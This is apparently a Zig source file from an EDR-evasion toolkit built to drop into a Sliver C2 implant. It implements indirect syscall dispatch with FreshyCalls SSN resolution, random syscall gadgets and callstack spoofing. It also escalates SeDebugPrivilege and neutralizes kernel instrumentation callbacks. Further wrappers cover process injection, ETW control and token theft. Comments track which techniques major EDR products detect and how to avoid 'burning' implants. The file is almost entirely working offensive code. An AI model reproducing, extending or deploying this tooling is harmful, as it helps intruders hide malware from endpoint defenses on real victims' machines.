fe2726a430
evasion/ - zig dll with rc4 encrypted sleep, hwbp amsi/etw bypass, freshycalls indirect syscall dispatch, callstack spoofing via asm trampoline, ntdll unhooking, module stomping, token manipulation. all techniques verified against dbgman edr tradecraft (may 2026). ret patch removed (instant detection). comments updated with detection status on each technique. go-bridge/ - reflective pe loader + clean go api for sliver integration. drop this package into sliver's implant/ dir, replace time.sleep with evasionsleep. build: zig build -doptimize=releaseFast -> embed dll bytes
460 lines
27 KiB
Zig
460 lines
27 KiB
Zig
// Syscall dispatch ??? SSN extraction, indirect syscalls, EDR callback removal.
|
|
// References: HellsGate (am0nsec), FreshyCalls (0xdbgman), SysWhispers (jthuraisamy)
|
|
const std = @import("std");
|
|
const win = @import("win32.zig");
|
|
const resolve = @import("resolve.zig");
|
|
const api = @import("api.zig");
|
|
|
|
var g_syscall_addrs: [64]usize = [_]usize{0} ** 64;
|
|
var g_syscall_count: usize = 0;
|
|
var g_ntdll_base: ?*anyopaque = null;
|
|
var g_init_done: bool = false;
|
|
var g_rand_state: u64 = 0;
|
|
|
|
// FreshyCalls table ??? ntdll Nt* exports sorted by RVA, SSN = position in sorted order
|
|
const FRESHY_MAX: usize = 1024;
|
|
const FreshyEntry = struct { hash: u32, rva: u32 };
|
|
var g_freshy_entries: [FRESHY_MAX]FreshyEntry = undefined;
|
|
var g_freshy_count: usize = 0;
|
|
var g_freshy_ready: bool = false;
|
|
|
|
// jmp r10 gadget (41 FF E2) found in ntdll at init ??? used as CFG-safe IC neutralizer
|
|
var g_jmp_r10_gadget: usize = 0;
|
|
var g_fake_return_addr: usize = 0; // standalone ret (0xC3) in ntdll .text ??? callstack spoof
|
|
|
|
extern fn hells_gate(ssn: u32, syscall_addr: usize, fake_return: usize) void;
|
|
extern fn hell_descent(a1: usize, a2: usize, a3: usize, a4: usize, a5: usize, a6: usize, a7: usize, a8: usize, a9: usize, a10: usize, a11: usize) usize;
|
|
|
|
pub fn xorshift64() u64 {
|
|
var state = g_rand_state;
|
|
state ^= state << 13;
|
|
state ^= state >> 7;
|
|
state ^= state << 17;
|
|
g_rand_state = state;
|
|
return state;
|
|
}
|
|
|
|
var g_ntdll_size: usize = 0;
|
|
var g_exc_begin: usize = 0;
|
|
var g_exc_count: usize = 0;
|
|
|
|
// FreshyCalls table builder ??? walks ntdll's export directory, collects Nt* exports
|
|
// with real code addresses (skips forwarded exports whose RVAs fall inside the export
|
|
// directory range). Sorts by RVA ascending. SSN = position in sorted order.
|
|
// Immune to inline hooking because it only reads the export directory and the RVA sort
|
|
// order is invariant ??? EDRs can't fake the linker's function layout.
|
|
// Reference: https://0xdbgman.github.io/posts/edr-internals-research-and-bypass/
|
|
fn build_freshy_table() void {
|
|
const base = g_ntdll_base orelse return;
|
|
const base_bytes = @as([*]u8, @ptrCast(base));
|
|
const dos = @as(*align(1) extern struct { e_magic: u16, pad: [58]u8, e_lfanew: u32 }, @constCast(@ptrCast(base_bytes)));
|
|
if (dos.e_magic != 0x5A4D) return;
|
|
const NT_SIGNATURE: u32 = 0x00004550;
|
|
const nt = @as(*align(1) extern struct {
|
|
Signature: u32,
|
|
FileHeader: extern struct { Machine: u16, NumberOfSections: u16, pad: [16]u8 },
|
|
OptionalHeader: extern struct { Magic: u16, pad1: [110]u8, DataDirectory: [16]extern struct { VirtualAddress: u32, Size: u32 } },
|
|
}, @constCast(@ptrCast(base_bytes + @as(usize, @intCast(dos.e_lfanew)))));
|
|
if (nt.Signature != NT_SIGNATURE) return;
|
|
|
|
const export_dir = nt.OptionalHeader.DataDirectory[0];
|
|
if (export_dir.VirtualAddress == 0 or export_dir.Size == 0) return;
|
|
|
|
const exp = @as(*align(1) extern struct {
|
|
Characteristics: u32, TimeDateStamp: u32, MajorVersion: u16, MinorVersion: u16,
|
|
Name: u32, Base: u32, NumberOfFunctions: u32, NumberOfNames: u32,
|
|
AddressOfFunctions: u32, AddressOfNames: u32, AddressOfNameOrdinals: u32,
|
|
}, @constCast(@ptrCast(base_bytes + @as(usize, @intCast(export_dir.VirtualAddress)))));
|
|
|
|
if (exp.NumberOfNames == 0) return;
|
|
const names = @as([*]u32, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(exp.AddressOfNames)))));
|
|
const funcs = @as([*]u32, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(exp.AddressOfFunctions)))));
|
|
const ords = @as([*]u16, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(exp.AddressOfNameOrdinals)))));
|
|
|
|
g_freshy_count = 0;
|
|
const export_dir_end = export_dir.VirtualAddress + export_dir.Size;
|
|
var i: u32 = 0;
|
|
while (i < exp.NumberOfNames and g_freshy_count < FRESHY_MAX) : (i += 1) {
|
|
const name_ptr = @as([*:0]u8, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(names[i])))));
|
|
const name = std.mem.sliceTo(name_ptr, 0);
|
|
// Only Nt* exports ??? Zw* shares identical SSNs and would produce duplicate positions
|
|
if (name.len < 2 or name[0] != 'N' or name[1] != 't') continue;
|
|
|
|
const ordinal = ords[i];
|
|
if (ordinal >= exp.NumberOfFunctions) continue;
|
|
const rva = funcs[ordinal];
|
|
// Skip forwarded exports ??? their RVAs point inside the export directory
|
|
if (rva >= export_dir.VirtualAddress and rva < export_dir_end) continue;
|
|
|
|
g_freshy_entries[g_freshy_count] = FreshyEntry{
|
|
.hash = resolve.hash_ror13(name),
|
|
.rva = rva,
|
|
};
|
|
g_freshy_count += 1;
|
|
}
|
|
|
|
// Sort by RVA ascending ??? SSN = position in sorted order
|
|
if (g_freshy_count > 1) {
|
|
var bubble_i: usize = 0;
|
|
while (bubble_i < g_freshy_count - 1) : (bubble_i += 1) {
|
|
var swapped = false;
|
|
var bubble_j: usize = 0;
|
|
while (bubble_j < g_freshy_count - 1 - bubble_i) : (bubble_j += 1) {
|
|
if (g_freshy_entries[bubble_j].rva > g_freshy_entries[bubble_j + 1].rva) {
|
|
const tmp = g_freshy_entries[bubble_j];
|
|
g_freshy_entries[bubble_j] = g_freshy_entries[bubble_j + 1];
|
|
g_freshy_entries[bubble_j + 1] = tmp;
|
|
swapped = true;
|
|
}
|
|
}
|
|
if (!swapped) break;
|
|
}
|
|
}
|
|
g_freshy_ready = true;
|
|
}
|
|
|
|
// FreshyCalls lookup ??? linear scan by hash in the sorted table, returns SSN.
|
|
fn extract_ssn_freshy(func_hash: u32) ?u16 {
|
|
if (!g_freshy_ready) return null;
|
|
for (0..g_freshy_count) |i| {
|
|
if (g_freshy_entries[i].hash == func_hash) {
|
|
return @as(u16, @intCast(i));
|
|
}
|
|
}
|
|
return null;
|
|
}
|
|
|
|
const RUNTIME_FUNCTION = extern struct {
|
|
BeginAddress: u32,
|
|
EndAddress: u32,
|
|
UnwindInfoAddress: u32,
|
|
};
|
|
|
|
// then falls back to HAL's Gate exception directory binary search with 0xB8 scan.
|
|
// Reference (FreshyCalls): https://0xdbgman.github.io/posts/edr-internals-research-and-bypass/
|
|
pub fn extract_ssn(func_hash: u32) ?u16 {
|
|
if (!init_syscall()) return null;
|
|
|
|
if (extract_ssn_freshy(func_hash)) |ssn| return ssn;
|
|
|
|
const base = g_ntdll_base orelse return null;
|
|
const func_addr = resolve.get_func_by_hash(base, func_hash) orelse return null;
|
|
const func_addr_base = @intFromPtr(func_addr);
|
|
const base_addr = @intFromPtr(base);
|
|
const in_ntdll = func_addr_base >= base_addr and func_addr_base < base_addr + g_ntdll_size;
|
|
if (!in_ntdll) return null;
|
|
const func_rva = @as(u32, @intCast(func_addr_base - base_addr));
|
|
if (g_exc_count == 0) return null;
|
|
const funcs = @as([*]align(1) const RUNTIME_FUNCTION, @ptrFromInt(g_exc_begin));
|
|
var lo: usize = 0;
|
|
var hi: usize = g_exc_count;
|
|
while (lo < hi) {
|
|
const mid = lo + (hi - lo) / 2;
|
|
const entry = funcs[mid];
|
|
if (func_rva < entry.BeginAddress) {
|
|
hi = mid;
|
|
} else if (func_rva >= entry.EndAddress) {
|
|
lo = mid + 1;
|
|
} else {
|
|
const start_rva = entry.BeginAddress;
|
|
const end_rva = entry.EndAddress;
|
|
const scan_bytes = @as([*]const u8, @ptrCast(@as([*]u8, @ptrCast(base)) + start_rva));
|
|
const scan_len = @min(end_rva - start_rva, 96);
|
|
var j: usize = 4;
|
|
while (j < scan_len) : (j += 1) {
|
|
if (scan_bytes[j] == 0xB8) {
|
|
const ssn = std.mem.readInt(u32, scan_bytes[j + 1 ..][0..4], .little);
|
|
if ((ssn & 0xFFFF0000) == 0 and ssn > 0 and ssn < 0x1000) {
|
|
return @as(u16, @intCast(ssn));
|
|
}
|
|
}
|
|
}
|
|
return null;
|
|
}
|
|
}
|
|
return null;
|
|
}
|
|
|
|
// Scans all of ntdll for "syscall; ret" (0F 05 C3) byte sequences, stores their addresses
|
|
// in g_syscall_addrs. Also seeds the PRNG, builds FreshyCalls table, caches exception
|
|
// directory for HAL's Gate fallback, and finds jmp r10 gadget for CFG-aware IC removal.
|
|
// Runs once ??? subsequent calls no-op.
|
|
pub fn init_syscall() bool {
|
|
if (g_init_done and g_ntdll_base != null) return true;
|
|
const ntdll_hash = resolve.hash_ror13("ntdll.dll");
|
|
g_ntdll_base = resolve.get_module_by_hash(ntdll_hash);
|
|
if (g_ntdll_base == null) return false;
|
|
|
|
// Seed PRNG from stack address ^ tick count
|
|
var stack_var: u64 = 0;
|
|
g_rand_state = @as(u64, @truncate(@intFromPtr(&stack_var)));
|
|
if (resolve.resolve_api(resolve.hash_ror13("kernel32.dll"), resolve.hash_ror13("GetTickCount64"))) |p| {
|
|
const GetTickCount64 = @as(*const fn () callconv(win.WINAPI) u64, @ptrCast(p));
|
|
g_rand_state ^= GetTickCount64();
|
|
}
|
|
|
|
// Scan .text section for syscall gadgets ??? bounds from section headers below
|
|
// so we never match 0F 05 C3 data constants in .rdata/.data.
|
|
const base_bytes = @as([*]const u8, @ptrCast(g_ntdll_base.?));
|
|
const dos = @as(*align(1) extern struct { e_magic: u16, pad: [58]u8, e_lfanew: u32 }, @constCast(@ptrCast(base_bytes)));
|
|
if (dos.e_magic != 0x5A4D) return false;
|
|
const NT_SIGNATURE: u32 = 0x00004550;
|
|
const nt = @as(*align(1) extern struct { Signature: u32, FileHeader: extern struct { Machine: u16, NumberOfSections: u16, pad: [16]u8 }, OptionalHeader: extern struct { pad0: [56]u8, SizeOfImage: u32, pad1: [180]u8 } }, @constCast(@ptrCast(base_bytes + @as(usize, @intCast(dos.e_lfanew)))));
|
|
if (nt.Signature != NT_SIGNATURE) return false;
|
|
g_ntdll_size = nt.OptionalHeader.SizeOfImage;
|
|
|
|
g_syscall_count = 0;
|
|
|
|
// Walk section headers to find .text and .pdata bounds ??? scopes the
|
|
// gadget scans below so we don't match data constants in .rdata/.data.
|
|
{
|
|
const section_start = @as(usize, @intCast(@intFromPtr(nt) + 24 + 240));
|
|
const sections = @as([*]align(1) extern struct { Name: [8]u8, VirtualSize: u32, VirtualAddress: u32, SizeOfRawData: u32, PointerToRawData: u32, PointerToRelocations: u32, PointerToLinenumbers: u32, NumberOfRelocations: u16, NumberOfLinenumbers: u16, Characteristics: u32 }, @ptrFromInt(section_start));
|
|
var text_va: usize = 0;
|
|
var text_size: usize = 0;
|
|
for (0..nt.FileHeader.NumberOfSections) |si| {
|
|
const sec = §ions[si];
|
|
if (std.mem.eql(u8, sec.Name[0..5], ".text") and sec.Name[5] == 0) {
|
|
text_va = sec.VirtualAddress;
|
|
text_size = sec.VirtualSize;
|
|
}
|
|
if (sec.Name[0] == '.' and sec.Name[1] == 'p' and sec.Name[2] == 'd' and sec.Name[3] == 'a' and sec.Name[4] == 't' and sec.Name[5] == 'a') {
|
|
g_exc_begin = @intFromPtr(@as([*]u8, @ptrCast(g_ntdll_base.?)) + sec.VirtualAddress);
|
|
g_exc_count = sec.VirtualSize / @sizeOf(RUNTIME_FUNCTION);
|
|
}
|
|
}
|
|
if (text_va == 0 or text_size == 0) return false;
|
|
|
|
// Scan .text for "syscall; ret" (0F 05 C3) gadgets
|
|
var j: usize = text_va;
|
|
const scan_end: usize = text_va + text_size;
|
|
while (j < scan_end - 3 and g_syscall_count < g_syscall_addrs.len) : (j += 1) {
|
|
if (base_bytes[j] == 0x0F and base_bytes[j + 1] == 0x05 and base_bytes[j + 2] == 0xC3) {
|
|
g_syscall_addrs[g_syscall_count] = @intFromPtr(&base_bytes[j]);
|
|
g_syscall_count += 1;
|
|
}
|
|
// Callstack spoof: find a standalone 0xC3 (ret) not part of
|
|
// syscall;ret. Pushed before jmp so kernel sees ntdll frames.
|
|
if (g_fake_return_addr == 0 and base_bytes[j] == 0xC3) {
|
|
if (j < 2 or base_bytes[j - 2] != 0x0F or base_bytes[j - 1] != 0x05) {
|
|
g_fake_return_addr = @intFromPtr(&base_bytes[j]);
|
|
}
|
|
}
|
|
}
|
|
|
|
// Scan .text for jmp r10 gadget (41 FF E2) ??? CFG-aware IC nullifier
|
|
var scan_i: usize = text_va;
|
|
while (scan_i < scan_end - 3) : (scan_i += 1) {
|
|
if (base_bytes[scan_i] == 0x41 and base_bytes[scan_i + 1] == 0xFF and base_bytes[scan_i + 2] == 0xE2) {
|
|
g_jmp_r10_gadget = @intFromPtr(&base_bytes[scan_i]);
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
|
|
if (g_syscall_count == 0) return false;
|
|
|
|
// Build FreshyCalls table ??? Nt* exports sorted by RVA, SSN = position
|
|
build_freshy_table();
|
|
|
|
g_init_done = true;
|
|
return true;
|
|
}
|
|
|
|
// Core dispatcher: extract SSN ??? pick random syscall gadget ??? hells_gate to encrypt SSN ???
|
|
// pack up to 11 args ??? call hell_descent assembly stub. Gadget address and SSN are XOR'd
|
|
// with a mask stored in the assembly data section (stack-based masking, not a real cipher).
|
|
pub fn syscall_dispatch(ssn_hash: u32, args: [*]const usize, arg_count: usize) usize {
|
|
const ssn = extract_ssn(ssn_hash) orelse return @as(usize, 0xC0000001);
|
|
const idx = @as(usize, @truncate(xorshift64())) % g_syscall_count;
|
|
const gadget = g_syscall_addrs[idx];
|
|
// Callstack spoof: push a standalone ret from ntdll .text so the kernel sees
|
|
// ntdll frames on top. Gate to <5 args ??? 5+ arg syscalls have stack-based args
|
|
// at RSP+0x28+index*8 that our push would shift by 8 bytes.
|
|
// Ref: WithSecure CallStackSpoofer ??? https://github.com/WithSecureLabs/CallStackSpoofer
|
|
const fake: usize = if (arg_count < 5) g_fake_return_addr else 0;
|
|
hells_gate(@as(u32, ssn), gadget, fake);
|
|
const a = [11]usize{
|
|
if (arg_count > 0) args[0] else 0,
|
|
if (arg_count > 1) args[1] else 0,
|
|
if (arg_count > 2) args[2] else 0,
|
|
if (arg_count > 3) args[3] else 0,
|
|
if (arg_count > 4) args[4] else 0,
|
|
if (arg_count > 5) args[5] else 0,
|
|
if (arg_count > 6) args[6] else 0,
|
|
if (arg_count > 7) args[7] else 0,
|
|
if (arg_count > 8) args[8] else 0,
|
|
if (arg_count > 9) args[9] else 0,
|
|
if (arg_count > 10) args[10] else 0,
|
|
};
|
|
return hell_descent(a[0], a[1], a[2], a[3], a[4], a[5], a[6], a[7], a[8], a[9], a[10]);
|
|
}
|
|
|
|
fn ntstatus(r: usize) win.NTSTATUS {
|
|
return @as(win.NTSTATUS, @bitCast(@as(u32, @truncate(r))));
|
|
}
|
|
|
|
// --------- NT API wrappers ---------
|
|
// Each packs its NT params into a [N]usize array and calls syscall_dispatch with a ror13 hash.
|
|
|
|
// Standard sleep syscall. Spoofed ??? EDRs commonly hook SleepEx and derivatives.
|
|
pub fn nt_delay_execution(alertable: win.BOOLEAN, interval: *const win.LARGE_INTEGER) win.NTSTATUS {
|
|
const args = [_]usize{ @intFromBool(alertable != 0), @intFromPtr(interval) };
|
|
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtDelayExecution"), &args, 2));
|
|
}
|
|
|
|
// Queries process info (PPI, PE flags, mitigation policies, etc).
|
|
pub fn nt_query_information_process(process_handle: win.HANDLE, info_class: u32, info: *anyopaque, info_len: u32, return_len: ?*u32) win.NTSTATUS {
|
|
const args = [_]usize{ @intFromPtr(process_handle), @as(usize, info_class), @intFromPtr(info), @as(usize, info_len), if (return_len) |rl| @intFromPtr(rl) else @as(usize, 0) };
|
|
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtQueryInformationProcess"), &args, 5));
|
|
}
|
|
|
|
// Sets thread properties (hide from debugger, etc).
|
|
pub fn nt_set_information_thread(thread_handle: win.HANDLE, info_class: u32, info: ?*const anyopaque, info_len: u32) win.NTSTATUS {
|
|
const args = [_]usize{ @intFromPtr(thread_handle), @as(usize, info_class), if (info) |i| @intFromPtr(i) else @as(usize, 0), @as(usize, info_len) };
|
|
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtSetInformationThread"), &args, 4));
|
|
}
|
|
|
|
// Closes a handle. Spoofed ??? EDRs monitor this as a way to detect handle leaks from unknown sources.
|
|
pub fn nt_close(handle: win.HANDLE) win.NTSTATUS {
|
|
const args = [_]usize{@intFromPtr(handle)};
|
|
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtClose"), &args, 1));
|
|
}
|
|
|
|
// Pseudo-handles: no need to open, just use these constants
|
|
pub fn nt_current_process() win.HANDLE { return @as(win.HANDLE, @ptrFromInt(0xFFFFFFFFFFFFFFFF)); }
|
|
pub fn nt_current_thread() win.HANDLE { return @as(win.HANDLE, @ptrFromInt(0xFFFFFFFFFFFFFFFE)); }
|
|
|
|
// Opens a handle to another process by PID.
|
|
pub fn nt_open_process(process_handle: *win.HANDLE, desired_access: win.DWORD, object_attributes: *const win.OBJECT_ATTRIBUTES, client_id: *const win.CLIENT_ID) win.NTSTATUS {
|
|
const args = [_]usize{ @intFromPtr(process_handle), @as(usize, desired_access), @intFromPtr(object_attributes), @intFromPtr(client_id) };
|
|
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtOpenProcess"), &args, 4));
|
|
}
|
|
|
|
// Sets process-level properties. Spoofed because EDR callbacks use this API.
|
|
pub fn nt_set_information_process(process_handle: win.HANDLE, info_class: u32, info: *const anyopaque, info_len: u32) win.NTSTATUS {
|
|
const args = [_]usize{ @intFromPtr(process_handle), @as(usize, info_class), @intFromPtr(info), @as(usize, info_len) };
|
|
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtSetInformationProcess"), &args, 4));
|
|
}
|
|
|
|
// Escalates SeDebugPrivilege so that NtSetInformationProcess(InfoClass=40) can clear EDR
|
|
// process instrumentation callbacks. Silently skipped if any step fails — privilege escalation
|
|
// is best-effort (requires admin/elevated token on most systems).
|
|
// ponytail: heavily monitored — every major EDR watches NtSetInformationProcess(InfoClass=40)
|
|
// specifically. The call still works technically on Win10/Win11 but triggers immediate
|
|
// detection on CrowdStrike, Defender ATP, and SentinelOne. Runs last in startup chain so
|
|
// the "silence" isn't immediately flagged. Consider removing once further engagement
|
|
// data confirms this technique burns implants.
|
|
fn escalate_debug_priv() void {
|
|
const getcp = api.priv_get_current_process orelse return;
|
|
const open_tok = api.exec_open_process_token orelse return;
|
|
const lookup = api.priv_lookup_privilege_value_w orelse return;
|
|
const adjust = api.priv_adjust_token_privileges orelse return;
|
|
|
|
var h_token: win.HANDLE = undefined;
|
|
if (open_tok(getcp(), win.TOKEN_ADJUST_PRIVILEGES | win.TOKEN_QUERY, &h_token) == 0) return;
|
|
defer _ = nt_close(h_token);
|
|
|
|
var luid: win.LUID = undefined;
|
|
if (lookup(null, &[_:0]u16{ 'S', 'e', 'D', 'e', 'b', 'u', 'g', 'P', 'r', 'i', 'v', 'i', 'l', 'e', 'g', 'e' }, &luid) == 0) return;
|
|
|
|
var tp = win.TOKEN_PRIVILEGES{
|
|
.PrivilegeCount = 1,
|
|
.Privileges = [1]win.LUID_AND_ATTRIBUTES{.{ .Luid = luid, .Attributes = win.SE_PRIVILEGE_ENABLED }},
|
|
};
|
|
_ = adjust(h_token, 0, &tp, 0, null, null);
|
|
}
|
|
|
|
// Removes kernel-level EDR instrumentation callbacks (InfoClass 40 = ProcessInstrumentationCallback).
|
|
// CFG-aware: on CFG-enabled systems (Win10 1709+ default), the kernel refuses to null the
|
|
// callback pointer. Instead we set it to a jmp r10 gadget in ntdll — the IC fires but
|
|
// immediately returns, effectively neutralizing the callback.
|
|
// Reference: https://cirosec.de/en/news/windows-instrumentation-callbacks-part-4/
|
|
// WARNING: Heavily monitored. CrowdStrike, Defender ATP, and SentinelOne all watch
|
|
// NtSetInformationProcess(InfoClass=40) specifically. DbgMan (May 2026): removal of kernel
|
|
// callbacks is the domain of BYOVD driver techniques, not user-mode syscalls. Consider
|
|
// this technique burn-once — it is detectable by design and runs LAST in startup chain.
|
|
pub fn remove_edr_callbacks() void {
|
|
escalate_debug_priv();
|
|
|
|
const PI_CALLBACK: u32 = 40;
|
|
const callback = if (g_jmp_r10_gadget != 0) @as(*anyopaque, @ptrFromInt(g_jmp_r10_gadget)) else null;
|
|
var callbacks = win.PROCESS_INSTRUMENTATION_CALLBACK{ .Version = 0, .Reserved = 0, .Callback = callback };
|
|
_ = nt_set_information_process(nt_current_process(), PI_CALLBACK, @ptrCast(&callbacks), @sizeOf(win.PROCESS_INSTRUMENTATION_CALLBACK));
|
|
}
|
|
|
|
// Allocates virtual memory in any process. Spoofed ??? high-value EDR target.
|
|
pub fn nt_allocate_virtual_memory(process_handle: win.HANDLE, base_address: *?*anyopaque, zero_bits: win.ULONG_PTR, region_size: *win.SIZE_T, allocation_type: win.ULONG, protect: win.ULONG) win.NTSTATUS {
|
|
const args = [_]usize{ @intFromPtr(process_handle), @intFromPtr(base_address), @as(usize, zero_bits), @intFromPtr(region_size), @as(usize, allocation_type), @as(usize, protect) };
|
|
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtAllocateVirtualMemory"), &args, 6));
|
|
}
|
|
|
|
// Writes memory in any process. Spoofed ??? injection detection target.
|
|
pub fn nt_write_virtual_memory(process_handle: win.HANDLE, base_address: *anyopaque, buffer: [*]const u8, buffer_len: win.SIZE_T, bytes_written: ?*win.SIZE_T) win.NTSTATUS {
|
|
const args = [_]usize{ @intFromPtr(process_handle), @intFromPtr(base_address), @intFromPtr(buffer), @as(usize, buffer_len), if (bytes_written) |bw| @intFromPtr(bw) else @as(usize, 0) };
|
|
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtWriteVirtualMemory"), &args, 5));
|
|
}
|
|
|
|
// Changes page protection. Spoofed ??? commonly monitored for shellcode/RWX patterns.
|
|
pub fn nt_protect_virtual_memory(process_handle: win.HANDLE, base_address: *?*anyopaque, region_size: *win.SIZE_T, new_protect: win.ULONG, old_protect: *win.ULONG) win.NTSTATUS {
|
|
const args = [_]usize{ @intFromPtr(process_handle), @intFromPtr(base_address), @intFromPtr(region_size), @as(usize, new_protect), @intFromPtr(old_protect) };
|
|
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtProtectVirtualMemory"), &args, 5));
|
|
}
|
|
|
|
// Creates a thread in any process. Spoofed ??? primary EDR/AV injection detection point.
|
|
pub fn nt_create_thread_ex(thread_handle: *win.HANDLE, desired_access: win.DWORD, object_attributes: ?*const win.OBJECT_ATTRIBUTES, process_handle: win.HANDLE, start_address: *anyopaque, parameter: ?*anyopaque, create_flags: win.ULONG, zero_bits: win.SIZE_T, stack_size: win.SIZE_T, max_stack_size: win.SIZE_T, attribute_list: ?*anyopaque) win.NTSTATUS {
|
|
const args = [_]usize{ @intFromPtr(thread_handle), @as(usize, desired_access), if (object_attributes) |oa| @intFromPtr(oa) else @as(usize, 0), @intFromPtr(process_handle), @intFromPtr(start_address), if (parameter) |p| @intFromPtr(p) else @as(usize, 0), @as(usize, create_flags), @as(usize, zero_bits), @as(usize, stack_size), @as(usize, max_stack_size), if (attribute_list) |al| @intFromPtr(al) else @as(usize, 0) };
|
|
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtCreateThreadEx"), &args, 11));
|
|
}
|
|
|
|
// Creates a new process. Spoofed ??? fork-and-run is the loudest IOC EDRs look for.
|
|
pub fn nt_create_user_process(process_handle: *win.HANDLE, thread_handle: *win.HANDLE, process_access: win.DWORD, thread_access: win.DWORD, process_oa: ?*const win.OBJECT_ATTRIBUTES, thread_oa: ?*const win.OBJECT_ATTRIBUTES, process_flags: win.ULONG, thread_flags: win.ULONG, process_parameters: ?*anyopaque, create_info: *win.PROCESS_CREATE_INFO, attribute_list: ?*anyopaque) win.NTSTATUS {
|
|
const args = [_]usize{ @intFromPtr(process_handle), @intFromPtr(thread_handle), @as(usize, process_access), @as(usize, thread_access), if (process_oa) |oa| @intFromPtr(oa) else @as(usize, 0), if (thread_oa) |oa| @intFromPtr(oa) else @as(usize, 0), @as(usize, process_flags), @as(usize, thread_flags), if (process_parameters) |pp| @intFromPtr(pp) else @as(usize, 0), @intFromPtr(create_info), if (attribute_list) |al| @intFromPtr(al) else @as(usize, 0) };
|
|
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtCreateUserProcess"), &args, 11));
|
|
}
|
|
|
|
// Controls ETW tracing sessions. Used to stop EDR provider GUIDs.
|
|
pub fn nt_trace_control(code: win.ULONG, input: ?*anyopaque, input_len: win.ULONG, output: ?*anyopaque, output_len: win.ULONG, ret_len: *win.ULONG) win.NTSTATUS {
|
|
const args = [_]usize{ @as(usize, code), if (input) |p| @intFromPtr(p) else @as(usize, 0), @as(usize, input_len), if (output) |p| @intFromPtr(p) else @as(usize, 0), @as(usize, output_len), @intFromPtr(ret_len) };
|
|
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtTraceControl"), &args, 6));
|
|
}
|
|
|
|
// Queries memory region info for an address range.
|
|
pub fn nt_query_virtual_memory(process: win.HANDLE, base: ?*const anyopaque, info_class: u32, info: *anyopaque, info_len: win.SIZE_T, ret_len: ?*win.SIZE_T) win.NTSTATUS {
|
|
const args = [_]usize{ @intFromPtr(process), @intFromPtr(base), @as(usize, info_class), @intFromPtr(info), @as(usize, info_len), if (ret_len) |p| @intFromPtr(p) else @as(usize, 0) };
|
|
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtQueryVirtualMemory"), &args, 6));
|
|
}
|
|
|
|
// Opens an existing section object by name. Used by ntdll unhooking to map \KnownDlls\ntdll.dll.
|
|
// Ref: https://ntdoc.m417z.com/ntopensection
|
|
pub fn nt_open_section(section_handle: *win.HANDLE, desired_access: win.DWORD, object_attributes: *win.OBJECT_ATTRIBUTES) win.NTSTATUS {
|
|
const args = [_]usize{ @intFromPtr(section_handle), @as(usize, desired_access), @intFromPtr(object_attributes) };
|
|
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtOpenSection"), &args, 3));
|
|
}
|
|
|
|
// Maps a view of a section into the virtual address space of a process.
|
|
// Ref: https://ntdoc.m417z.com/ntmapviewofsection
|
|
pub fn nt_map_view_of_section(section_handle: win.HANDLE, process_handle: win.HANDLE, base_address: *?*anyopaque, zero_bits: win.ULONG_PTR, commit_size: win.SIZE_T, section_offset: ?*win.LARGE_INTEGER, view_size: *win.SIZE_T, inherit_disposition: u32, allocation_type: win.ULONG, protect: win.ULONG) win.NTSTATUS {
|
|
const args = [_]usize{ @intFromPtr(section_handle), @intFromPtr(process_handle), @intFromPtr(base_address), @as(usize, @intCast(zero_bits)), @as(usize, commit_size), if (section_offset) |off| @intFromPtr(off) else @as(usize, 0), @intFromPtr(view_size), @as(usize, inherit_disposition), @as(usize, allocation_type), @as(usize, protect) };
|
|
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtMapViewOfSection"), &args, 10));
|
|
}
|
|
|
|
// Unmaps a view of a section. Ref: https://ntdoc.m417z.com/ntunmapviewofsection
|
|
pub fn nt_unmap_view_of_section(process_handle: win.HANDLE, base_address: ?*anyopaque) win.NTSTATUS {
|
|
const args = [_]usize{ @intFromPtr(process_handle), @intFromPtr(base_address) };
|
|
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtUnmapViewOfSection"), &args, 2));
|
|
}
|
|
|
|
// Opens the access token associated with a process. Used by token theft.
|
|
// Ref: https://ntdoc.m417z.com/ntopenprocesstoken
|
|
pub fn nt_open_process_token(process_handle: win.HANDLE, desired_access: win.DWORD, token_handle: *win.HANDLE) win.NTSTATUS {
|
|
const args = [_]usize{ @intFromPtr(process_handle), @as(usize, desired_access), @intFromPtr(token_handle) };
|
|
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtOpenProcessToken"), &args, 3));
|
|
}
|
|
|
|
// Duplicates a token handle. Used to create an impersonation token from a primary token.
|
|
// Ref: https://ntdoc.m417z.com/ntduplicatetoken
|
|
pub fn nt_duplicate_token(existing_token: win.HANDLE, desired_access: win.DWORD, object_attributes: ?*win.OBJECT_ATTRIBUTES, effective_only: win.BOOLEAN, token_type: win.DWORD, new_token: *win.HANDLE) win.NTSTATUS {
|
|
const args = [_]usize{ @intFromPtr(existing_token), @as(usize, desired_access), if (object_attributes) |oa| @intFromPtr(oa) else @as(usize, 0), @intFromBool(effective_only != 0), @as(usize, token_type), @intFromPtr(new_token) };
|
|
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtDuplicateToken"), &args, 6));
|
|
} |